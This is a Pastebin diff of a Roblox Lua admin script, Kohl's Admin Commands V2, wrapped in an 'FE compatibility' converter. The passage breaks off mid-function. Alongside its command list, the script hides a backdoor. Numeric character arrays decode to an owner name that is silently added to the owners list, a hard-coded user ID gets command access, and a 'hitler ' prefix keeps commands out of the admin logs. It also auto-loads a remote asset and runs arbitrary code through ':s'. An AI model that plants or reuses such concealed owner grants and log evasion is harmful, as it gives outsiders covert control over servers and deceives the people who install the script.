View difference between Paste ID: Fmn7xiL3 and 4MtcVEvA
SHOW: | | - or go back to the newest paste.
1-
-----------------------------------------------------------------------------------------
1+
if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
2-
--[[ Put your name where it says yourname ]]
2+
local Player,game,owner = owner,game
3-
--[[ Please don't abuse with these scripts -ulti55 ]]
3+
local RealPlayer = Player
4-
-----------------------------------------------------------------------------------------
4+
do
5
    print("FE Compatibility code by Mokiros | Showcase by Bacon Hair | FE Converter By ramin999232")
6-
local admins = {"ultimate055"} -- Sets admins who can use ban/kick/admin or shutdown
6+
    local rp = RealPlayer
7
    script.Parent = rp.Character
8-
local banland = {"winx201"} -- Permanently Bans people
8+
   
9
    --RemoteEvent for communicating
10
    local Event = Instance.new("RemoteEvent")
11
    Event.Name = "UserInput_Event"
12
 
13
    --Fake event to make stuff like Mouse.KeyDown work
14
    local function fakeEvent()
15
        local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
16
        t.connect = t.Connect
17
        return t
18
    end
19
 
20
    --Creating fake input objects with fake variables
21
    local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
22
    local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
23
    local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
24
        CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
25
    end}
26
    --Merged 2 functions into one by checking amount of arguments
27
    CAS.UnbindAction = CAS.BindAction
28
 
29
    --This function will trigger the events that have been :Connect()'ed
30
    local function te(self,ev,...)
31
        local t = m[ev]
32
        if t and t._fakeEvent then
33
            for _,f in pairs(t.Functions) do
34
                f(...)
35
            end
36
        end
37
    end
38
    m.TrigEvent = te
39
    UIS.TrigEvent = te
40
 
41
    Event.OnServerEvent:Connect(function(plr,io)
42
        if plr~=rp then return end
43
        m.Target = io.Target
44
        m.Hit = io.Hit
45
        if not io.isMouse then
46
            local b = io.UserInputState == Enum.UserInputState.Begin
47
            if io.UserInputType == Enum.UserInputType.MouseButton1 then
48
                return m:TrigEvent(b and "Button1Down" or "Button1Up")
49
            end
50
            for _,t in pairs(CAS.Actions) do
51
                for _,k in pairs(t.Keys) do
52
                    if k==io.KeyCode then
53
                        t.Function(t.Name,io.UserInputState,io)
54
                    end
55
                end
56
            end
57
            m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
58
            UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
59
        end
60
    end)
61
    Event.Parent = NLS([==[
62
    local Player = game:GetService("Players").LocalPlayer
63
    local Event = script:WaitForChild("UserInput_Event")
64
 
65
    local Mouse = Player:GetMouse()
66
    local UIS = game:GetService("UserInputService")
67
    local input = function(io,a)
68
        if a then return end
69
        --Since InputObject is a client-side instance, we create and pass table instead
70
        Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
71
    end
72
    UIS.InputBegan:Connect(input)
73
    UIS.InputEnded:Connect(input)
74
 
75
    local h,t
76
    --Give the server mouse data 30 times every second, but only if the values changed
77
    --If player is not moving their mouse, client won't fire events
78
    while wait(1/30) do
79
        if h~=Mouse.Hit or t~=Mouse.Target then
80
            h,t=Mouse.Hit,Mouse.Target
81
            Event:FireServer({isMouse=true,Target=t,Hit=h})
82
        end
83
    end]==],Player.Character)
84
 
85
    ----Sandboxed game object that allows the usage of client-side methods and services
86
    --Real game object
87
    local _rg = game
88
 
89
    --Metatable for fake service
90
    local fsmt = {
91
        __index = function(self,k)
92
            local s = rawget(self,"_RealService")
93
            if s then return s[k] end
94
        end,
95
        __newindex = function(self,k,v)
96
            local s = rawget(self,"_RealService")
97
            if s then s[k]=v end
98
        end,
99
        __call = function(self,...)
100
            local s = rawget(self,"_RealService")
101
            if s then return s(...) end
102
        end
103
    }
104
    local function FakeService(t,RealService)
105
        t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
106
        return setmetatable(t,fsmt)
107
    end
108
 
109
    --Fake game object
110
    local g = {
111
        GetService = function(self,s)
112
            return self[s]
113
        end,
114
        Players = FakeService({
115
            LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
116
        },"Players"),
117
        UserInputService = FakeService(UIS,"UserInputService"),
118
        ContextActionService = FakeService(CAS,"ContextActionService"),
119
    }
120
    rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
121
    g.service = g.GetService
122
   
123
    g.RunService = FakeService({
124
        RenderStepped = _rg:GetService("RunService").Heartbeat,
125
        BindToRenderStep = function(self,name,_,fun)
126
 
127
        end,
128
        UnbindFromRenderStep = function(self,name)
129
            self._btrs[name]:Disconnect()
130
        end,
131
    },"RunService")
132
 
133
    setmetatable(g,{
134
        __index=function(self,s)
135
            return _rg:GetService(s) or typeof(_rg[s])=="function"
136
            and function(_,...)return _rg[s](_rg,...)end or _rg[s]
137
        end,
138
        __newindex = fsmt.__newindex,
139
        __call = fsmt.__call
140
    })
141
    --Changing owner to fake player object to support owner:GetMouse()
142
    game,owner = g,g.Players.LocalPlayer
143
end
144
 
145
local owners = {"LocalPlayer"} -- Are able to set admins who can ban/etc... using :pa name
146
local admins = {"ramin999232"} -- Sets admins who can use ban/kick/admin or shutdown
147
local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
148
local banland = {"Carlo_506"} -- Permanently Bans people
149
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
150
local AutoUpdate = true -- Set to false if you don't want it to automatically update
151
-----------------
152
-- Group Admin --
153
-----------------
154
local GroupAdmin = false -- If a certain group can have admin
155
local GroupId = 0 -- Sets the group id that can have admin
156
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
157
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
158
---------------------
159
-- Tips and Tricks --
160
---------------------
161
--[[
162
With this admin you can do a command on multiple people at a time;
163
	:kill me,noob1,noob2,random,team-raiders
164
165
You can also use a variety commands for different people;
166
	 all
167
	 others
168
	 me
169
	 team-
170
	 admins
171
	 nonadmins
172
	 random
173
--]]
174
--------------
175
-- Commands --
176
--------------
177
--[[
178
-- Temp Admin Commands --
179
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
180
1. :s print("Hello World") -- Lets you script normally
181
2. :ls print("Hello World") -- Lets you script in localscripts
182
3. :clear -- Will remove all scripts/localscripts and jails
183
4. :m Hello People -- This commands will let you shout a message to everyone on the server
184
5. :kill kohl -- Kills the player
185
6. :respawn kohl -- Respawns the player
186
7. :trip kohl -- Trips the player
187
8. :stun kohl -- Stuns the player
188
9. :unstun kohl -- Unstuns the player
189
10. :jump kohl -- Makes the player jump
190
11. :sit kohl -- Makes the player sit
191
12. :invisible kohl -- Makes the player invisible
192
13. :visible kohl -- Makes the player visible
193
14. :explode kohl -- Makes the player explode
194
15. :fire kohl -- Sets the player on fire
195
16. :unfire kohl -- Removes fire from the player
196
17. :smoke kohl -- Adds smoke to the player
197
18. :unsmoke kohl -- Removes smoke from the player
198
19. :sparkles kohl -- Adds sparkles to the player
199
20. :unsparkles kohl -- Removes sparkles from the player
200
21. :ff kohl -- Adds a forcefield to the player
201
22. :unff kohl -- Removes the forcefield from the player
202
23. :punish kohl -- Punishes the player
203
24. :unpunish kohl -- Unpunishes the player
204
25. :freeze kohl -- Freezes the player
205
26. :thaw kohl -- Thaws the player
206
27. :heal kohl -- Heals the player
207
28. :god kohl -- Makes the player have infinite health
208
29. :ungod kohl -- Makes the player have 100 health
209
30. :ambient .5 .5 .5 -- Changes the ambient
210
31. :brightness .5 -- Changes the brightness
211
32. :time 12 -- Changes the time
212
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
213
34. :fogend 100 -- Changes the fogend
214
35. :fogstart 100 -- Changes the fogstart
215
36. :removetools kohl -- Removes all tools from the player
216
37. :btools kohl -- Gives the player building tools
217
38. :give kohl sword -- Gives the player a tool
218
39. :damage kohl -- Damages the player
219
40. :grav kohl -- Sets the player's gravity to normal
220
41. :setgrav kohl 100 -- Sets the player's gravity
221
42. :nograv kohl -- Makes the player have 0 gravity
222
43. :health kohl 1337 -- Changes the player's health
223
44. :speed kohl 1337 -- Changes the player's walkspeed
224
45. :name kohl potato -- Changes the player's name
225
46. :unname kohl -- Remove the player's name
226
47. :team kohl Raiders -- Changes the player's team
227
48. :stopmusic -- Will stop all music playing in the server
228
49. :teleport kohl potato -- Teleports the player
229
50. :change kohl kills 1337 -- Changes a player's stat
230
51. :kick kohl -- Removes the player from the game
231
52. :infect kohl -- Turns the player into a zombie
232
53. :rainbowify kohl -- Turns the player into a rainbow
233
54. :flashify kohl -- Turns the player into a strobe
234
55. :noobify kohl -- Turns the player into a noob
235
56. :ghostify kohl -- Turns the player into a ghost
236
57. :goldify kohl -- Turns the player into gold
237
58. :shiny kohl -- Makes the player shiny
238
59. :normal kohl -- Puts the player back to normal
239
60. :trippy kohl -- Spams random colors on the player's screen
240
61. :untrippy kohl -- Untrippys the player
241
62. :strobe kohl -- Spams white and black on the player's screen
242
63. :unstrobe kohl -- Unstrobes the player
243
64. :blind kohl -- Blinds the player
244
65. :unblind kohl -- Unblinds the player
245
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
246
67. :fling kohl -- Flings the player
247
68. :seizure kohl -- Puts the player in a seizure
248
69(lol). :music 1337 -- Plays a sound from the ID
249
70. :lock kohl -- Locks the player
250
71. :unlock kohl -- Unlocks the player
251
72. :removelimbs kohl -- Removes the player's limbs
252
73. :jail kohl -- Puts the player in a jail
253
74. :unjail kohl -- Removes the jail from the player
254
75. :fix -- This will fix the lighting to it's original settings
255
76. :fly kohl -- Makes the player fly
256
77. :unfly kohl -- Removes fly from the player
257
78. :noclip kohl -- Makes the player able to noclip
258
79. :clip kohl -- Removes noclipping from the player
259
80. :pm kohl Hey bro -- Sends the player a private message
260
81. :dog kohl -- Turns the player into a dog
261
82. :undog kohl -- Turns the player back to normal
262
83. :creeper kohl -- Turns the player into a creeper
263
84. :uncreeper kohl -- Turns the player back to normal
264
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
265
86. :char kohl 261 -- Will make a player look like a different player ID
266
87. :unchar kohl -- Will return the player back to normal
267
88. :h Hello People -- This will shout a hint to everyone
268
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
269
90. :starttools kohl -- Will give the player starter tools
270
91. :sword kohl -- Will give the player a sword
271
92. :bighead kohl -- Will make the player's head larger than normal
272
93. :minihead kohl -- Will make the player's head smaller than normal
273
94. :insert 1337 -- Will insert a model at the speaker's position
274
95. :disco -- Will make the server flash random colors
275
96. :flash -- Will make the server flash
276
97. :admins -- Shows the admin list
277
98. :bans -- Shows the banlist
278
99. :musiclist -- Shows the music list
279
100. :spin kohl -- Spins the player
280
101. :cape kohl Really black -- Gives the player a colored cape
281
102. :uncape kohl -- Removes the player's cape
282
103. :loopheal kohl -- Will constantly heal the player
283
104. :loopfling kohl -- Will constantly fling the player
284
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
285
106. :unloopheal kohl -- Will remove the loopheal on the player
286
107. :unloopfling kohl -- Will remove the loopfling on the player
287
108. :unspin kohl -- Removes spin from the player
288
109. :tools -- Gives a list of the tools in the lighting
289
110. :undisco -- Removes disco effects
290
111. :unflash -- Removes flash effects
291
112. :resetstats kohl -- Sets all the stats of a player to 0
292
113. :gear 1337 -- Gives a player a gear
293
114. :cmdbar -- Gives the speaker a command bar
294
115. :shirt kohl 1337 -- Changes the player's shirt
295
116. :pants kohl 1337 -- Changes the player's pants
296
117. :face kohl 1337 -- Changes the player's face
297
118. :swagify kohl -- Swagifies the player
298
119. :version -- Shows the current version of the admin
299
300
-- Super Admin Commands --
301
- :serverlock -- Locks the server
302
- :serverunlock -- Unlocks the server
303
- :sm Hello World -- Creates a system message
304
- :crash kohl -- Crashes a player
305
- :admin kohl -- Admins a player
306
- :unadmin kohl -- Unadmins a player
307
- :ban kohl -- Bans a player
308
- :unban kohl -- Unbans a player
309
- :loopkill kohl -- Will constantly kill the player
310
- :unloopkill kohl -- Will remove the loopkill on the player
311
- :logs -- Will show all of the commands any admin has used in a game session
312
- :shutdown -- Shutsdown the server
313
314
-- Owner Commands --
315
- :pa kohl -- Makes someone a super admin
316
- :unpa kohl -- Removes a super admin
317
--]]
318
-----------------
319
-- Main Script --
320
-----------------
321
322
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end 
323
324
if AutoUpdate then wait(1)
325
coroutine.resume(coroutine.create(function()
326
local mod = game:service("InsertService"):LoadAsset(100808216)
327
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) then 
328
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
329
newac.Disabled = true
330
local new = tonumber(mod:findFirstChild("Version", true).Value)
331
local old = 0
332
if script:findFirstChild("Version") then old = tonumber(script.Version.Value) end
333
if new > old then
334
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
335
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
336
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
337
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
338
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
339
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
340
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
341
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
342
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
343
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
344
wait()
345
newac.Parent = game.Workspace
346
newac.Disabled = false
347
script.Disabled = true
348
script:Destroy()
349
end
350
end
351
end))
352
end
353
354
if game:service("Lighting"):findFirstChild("KACV2") then
355
owners = {} admins = {} tempadmins = {} banland = {}
356
for i,v in pairs(game.Lighting.KACV2:children()) do
357
if v.Name == "Owner" then table.insert(owners, v.Value) end
358
if v.Name == "Admin" then table.insert(admins, v.Value) end
359
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
360
if v.Name == "Banland" then table.insert(banland, v.Value) end
361
if v.Name == "Prefix" then prefix = v.Value end
362
if v.Name == "FunCommands" then FunCommands = v.Value end
363
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
364
if v.Name == "GroupId" then GroupId = v.Value end
365
if v.Name == "GroupRank" then GroupRank = v.Value end
366
end
367
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
368
end
369
370
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
371
local lobjs = {}
372
local objects = {}
373
local logs = {}
374
local nfs = ""
375
local slock = false
376
377
function GetTime()
378
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
379
if min < 10 then min = "0"..min end
380
return hour..":"..min
381
end
382
383
function ChkOwner(str)
384
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
385
return false
386
end
387
388
function ChkAdmin(str,ck) 
389
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
390
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
391
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
392
return false 
393
end
394
395
function ChkGroupAdmin(plr)
396
if GroupAdmin then
397
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
398
return false
399
end
400
end
401
402
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
403
404
function GetPlr(plr, str)
405
local plrz = {} str = str:lower()
406
if str == "all" then plrz = game.Players:children()
407
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
408
else
409
local sn = {1} local en = {}
410
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
411
for x = 1, #sn do 
412
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
413
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
414
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
415
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
416
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
417
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
418
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
419
end end end
420
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
421
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
422
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
423
end end end
424
else
425
for a, plyr in pairs(game.Players:children()) do 
426
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then 
427
table.insert(plrz, plyr) break
428
end
429
end 
430
end
431
end
432
end
433
return plrz
434
end
435
436
function Hint(str, plrz, time)
437
for i, v in pairs(plrz) do
438
if v and v:findFirstChild("PlayerGui") then
439
coroutine.wrap(function() 
440
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
441
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
442
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
443
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
444
if not time then wait((#str/19)+2.5) else wait(time) end
445
coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
446
end)()
447
end
448
end
449
end
450
451
function Message(ttl, str, scroll, plrz, time)
452
for i, v in pairs(plrz) do
453
if v and v:findFirstChild("PlayerGui") then
454
coroutine.resume(coroutine.create(function()
455
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
456
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
457
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
458
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
459
scr.Parent = v.PlayerGui
460
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) 
461
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
462
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
463
coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
464
end))
465
end
466
end
467
end
468
469
_G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
470
_G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
471
472
function Output(str, plr)
473
coroutine.resume(coroutine.create(function()
474
local b, e = loadstring(str)
475
if not b and plr:findFirstChild("PlayerGui") then
476
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
477
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
478
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
479
return
480
end
481
end))
482
end
483
484
function Noobify(char)
485
if char and char:findFirstChild("Torso") then 
486
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
487
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
488
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
489
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
490
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
491
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
492
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
493
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
494
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
495
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
496
end end
497
end
498
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
499
500
function Infect(char)
501
if char and char:findFirstChild("Torso") then 
502
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
503
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
504
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
505
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
506
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
507
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
508
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
509
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
510
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
511
end end
512
end
513
end if not ntab then script:Destroy() end
514
515
function ScrollGui()
516
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
517
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
518
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
519
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
520
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
521
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
522
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
523
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
524
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
525
local num = 0
526
local downv = false
527
local upv = false
528
529
down.MouseButton1Down:connect(function() downv = true upv = false
530
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
531
repeat  pos = pos + UDim2.new(0,0,0,-6)
532
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
533
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
534
end) 
535
down.MouseButton1Up:connect(function() downv = false end)
536
up.MouseButton1Down:connect(function() upv = true downv = false
537
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
538
repeat  pos = pos + UDim2.new(0,0,0,6)
539
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
540
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
541
end) 
542
up.MouseButton1Up:connect(function() upv = false end)
543
return scr, cmf, ent, num
544
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
545
if not ntab then script:Destroy() end
546
if not bct then script:Destroy() end
547
548
function Chat(msg,plr)
549
coroutine.resume(coroutine.create(function()
550
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
551
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
552
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
553
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
554
